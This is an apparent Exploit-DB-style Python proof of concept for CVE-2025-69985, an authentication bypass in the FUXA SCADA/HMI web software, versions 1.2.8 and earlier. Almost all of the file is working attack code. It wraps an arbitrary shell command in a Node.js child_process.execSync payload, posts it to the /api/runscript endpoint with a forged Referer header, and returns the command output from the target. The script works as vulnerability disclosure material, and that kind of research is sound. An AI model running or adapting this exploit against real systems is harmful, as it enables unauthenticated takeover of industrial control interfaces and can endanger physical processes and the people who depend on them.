FUXA 1.2.8 - Authentication Bypass + RCE Exploit

# Exploit Title: FUXA 1.2.8 - Authentication Bypass + RCE Exploit
# Date: 2026-02-25
# Exploit Author: Joshua van der Poll (https://github.com/joshuavanderpoll/)
# Software Link: https://github.com/frangoteam/FUXA/tree/v1.2.8
# Vendor Homepage: https://github.com/frangoteam/FUXA
# Version: FUXA <= 1.2.8
# Tested on: Debian GNU/Linux 12
# CVE : CVE-2025-69985

"""
FUXA ≤ 1.2.8 Authentication Bypass + RCE Exploit
CVE-2025-69985

This Python exploit targets CVE-2025-69985, an authentication bypass in FUXA
(web-based SCADA/HMI software) that allows access to the protected /api/runscript
endpoint even when authentication is enabled.

By sending a crafted JavaScript payload using child_process.execSync, it achieves
full remote command execution with complete stdout capture (no reverse shell needed).

Author: Joshua van der Poll (https://github.com/joshuavanderpoll/CVE-2025-69985)
Created: February 2026
Version: 1.0
License: GNU General Public License v3.0 (GPL-3.0)
Disclaimer: Use responsibly. This is a proof-of-concept for a patched
                 vulnerability (fixed in FUXA > 1.2.8). Do not use against
                 systems you do not own or have explicit permission to test.

Usage:
    python3 exploit.py -u http://target:1881 -c "whoami"
"""

import requests
import argparse
import sys
import urllib3

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Colors
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BLUE = '\033[94m'
CYAN = '\033[96m'
RESET = '\033[0m'

def print_status(msg, color=BLUE, symbol="[*]"):
    print(f"{color}{symbol} {msg}{RESET}")

def print_success(msg):
    print_status(msg, GREEN, "[+]")

def print_warning(msg):
    print_status(msg, YELLOW, "[!]")

def print_error(msg, exc=None):
    print_status(msg, RED, "[-]")
    if exc:
        print(f" → {type(exc).__name__}: {exc}")
        import traceback
        traceback.print_exc(limit=2)

def build_js_payload(command: str) -> str:
    """Build safe Node.js payload with proper escaping"""
    escaped = (command
               .replace('\\', '\\\\')
               .replace('"', '\\"')
               .replace('`', '\\`')
               .replace('\n', '\\n'))
    
    js = f"""const cp = require("child_process");
try {{
    const result = cp.execSync("{escaped}", {{ encoding: "utf8" }});
    return result.toString();
}} catch (err) {{
    return "ERROR: " + err.message +
           (err.stdout ? "\\nSTDOUT: " + err.stdout.toString() : "") +
           (err.stderr ? "\\nSTDERR: " + err.stderr.toString() : "");
}}"""
    return js

def run_command(session, base_url, command):
    print_status(f"Preparing payload → executing: {command}")
   
    js_code = build_js_payload(command)
    payload = {
        "params": {
            "script": {
                "parameters": [],
                "mode": "",
                "id": "exploit",
                "name": "exploit",
                "code": js_code,
                "test": js_code
            },
            "toLogEvent": False
        }
    }

    headers = {
        "Content-Type": "application/json",
        "Referer": f"{base_url}/fuxa"
    }

    print_status("Sending exploit request to /api/runscript ...")
    try:
        resp = session.post(
            f"{base_url}/api/runscript",
            json=payload,
            headers=headers,
            timeout=15,
            verify=False
        )

        print_status(f"Response status: {resp.status_code}", CYAN)

        if resp.status_code == 200:
            output = resp.text.strip()
            print_success("Command executed successfully (CVE-2025-69985 bypass)!")
            print(f"\n{GREEN}=== COMMAND OUTPUT ==={RESET}")
            print(output if output else "(no output)")
            print(f"{GREEN}======================{RESET}\n")
            return True
        else:
            print_error(f"Server returned {resp.status_code}")
            if resp.text.strip():
                print(f"Body preview: {resp.text[:500]}")
            return False

    except requests.exceptions.Timeout:
        print_warning("Request timed out (command may still have executed)")
        return False
    except Exception as e:
        print_error("Request failed", e)
        return False

def exploit_command(base_url, command):
    session = requests.Session()
    session.verify = False

    # Execute command
    success = run_command(session, base_url, command)

    if success:
        print("\n" + "="*70)
        print(f" {GREEN}Exploit completed!.{RESET}")
        print("="*70 + "\n")
    else:
        print_warning("Exploit may require checking target version / network")

def main():
    parser = argparse.ArgumentParser(
        description="FUXA ≤ 1.2.8 Auth Bypass + RCE (CVE-2025-69985)"
    )
    parser.add_argument('-u', '--url', required=True, help="Target URL (http(s)://host:port)")
    parser.add_argument('-c', '--cmd', required=True, help="Command to execute on target")
    args = parser.parse_args()

    base_url = args.url.rstrip('/')

    print(f"\n {BLUE}Target :{RESET} {base_url}")
    print(f" {BLUE}Command:{RESET} {args.cmd}\n")

    try:
        exploit_command(
            base_url=base_url,
            command=args.cmd
        )
    except KeyboardInterrupt:
        print_warning("Interrupted by user")
        sys.exit(2)
    except Exception as e:
        print_error("Unexpected fatal error", e)
        sys.exit(3)

if __name__ == "__main__":
    main()